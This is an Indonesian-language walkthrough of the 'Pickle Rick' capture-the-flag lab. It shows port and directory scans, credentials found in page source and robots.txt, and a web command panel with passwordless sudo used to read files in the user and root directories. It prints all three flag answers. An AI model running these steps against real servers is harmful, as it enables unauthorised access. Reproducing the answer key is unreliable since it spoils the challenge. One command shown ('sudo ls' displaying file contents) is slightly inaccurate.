Pickle Rick

CTF Rick dan Morty. Membantu mengubah Rick kembali menjadi manusia!

Task 1 # Pickle Rick

Tantangan bertema Rick dan Morty ini mengharuskan kamu untuk mengeksploitasi webserver untuk menemukan 3 bahan yang akan membantu Rick membuat ramuannya untuk mengubah dirinya kembali menjadi manusia dari acar.

Terapkan mesin virtual pada tugas ini dan jelajahi aplikasi web.

Apa bahan pertama yang dibutuhkan Rick?

Lakukan scanning port, dan lihat apa saja yang terbuka.

┌─[cyber@cyber]─[~]
└──╼ $sudo nmap -sV -sC -A 10.10.191.45
[sudo] password for cyber: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-28 22:11 WIT
Nmap scan report for 10.10.191.45
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh    OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|  2048 11:63:1c:64:ba:c1:15:85:e1:dd:61:cf:c9:19:bf:7d (RSA)
|  256 0d:3b:b8:71:de:16:14:9a:a1:7e:48:da:b4:81:f5:7b (ECDSA)
|_ 256 d2:aa:09:24:11:fa:3d:80:75:cc:82:36:e9:e5:bd:d8 (ED25519)
80/tcp open http   Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/28%OT=22%CT=1%CU=42879%PV=Y%DS=2%DC=T%G=Y%TM=603B96C
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST1
OS:1NW7%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
OS:(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1  284.66 ms 10.9.0.1
2  284.76 ms 10.10.191.45

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.03 seconds

ketikan ip mancin ke browser dan enter.

C+u untuk Melihat user.

Username = R1ckRul3s

cari direktori yang ada di url ip mancin, dengan tooll Gobuster

┌─[cyber@cyber]─[~]
└──╼ $gobuster dir -u http://10.10.191.45 -w dirb/wordlists/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:           http://10.10.191.45
[+] Threads:       10
[+] Wordlist:      dirb/wordlists/common.txt
[+] Status codes:  200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:       10s
===============================================================
2021/02/28 22:11:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2021/02/28 22:14:14 Finished
===============================================================

karna di mesin pencari robots.txt, maka ketikan di url untuk melihat passwordnya. contoh = http://10.10.191.45/robots.txt dan hasilnya adalah.

Wubbalubbadubdub

ingat inialah passwornya

Wubbalubbadubdub

sekarang kita cari laman login-nya dengan Dirbuster

 ┌─[✗]─[cyber@cyber]─[~]
└──╼ $dirbuster 
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /assets/ - 200
File found: /assets/bootstrap.min.js - 200
Dir found: /icons/ - 403
File found: /login.php - 200
File found: /assets/jquery.min.js - 200
File found: /assets/bootstrap.min.css - 200
File found: /portal.php - 302

setelah itu masuk ke halaman login

dan masukan ke url :

http://10.10.191.45/login.php

setelah itu lihat isi dari file.

dengan ketikan perintah ls

Sup3rS3cretPickl3Ingred.txt

dan jalankan di url

http://10.10.191.45/Sup3rS3cretPickl3Ingred.txt


Jawaban = mr. meeseek hair

Apa bahan kedua yang dibutuhkan Rick?

jalankan perintah

ls /home
rick
ubuntu
 

Jalakan peritah di bawah ini untuk melihat User Groups nya

sudo -l
 
Matching Defaults entries for www-data on ip-10-10-68-172.eu-west-1.compute.internal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on ip-10-10-68-172.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL

Setelah itu jalankan perintah berikut dan lihat isi dari folder rick

sudo ls /home/rick/
second ingredients
sudo less /home/rick/'second ingredients'
1 jerry tear

Jawaban = 1 jerry tear

Apa bahan terakhir yang dibutuhkan Rick?

sudo ls /root
3rd.txt
snap

lihat isi dari file 3rd.txt

sudo ls /root/3rd.txt
3rd ingredients: fleeb juice

Jawaban = fleeb juice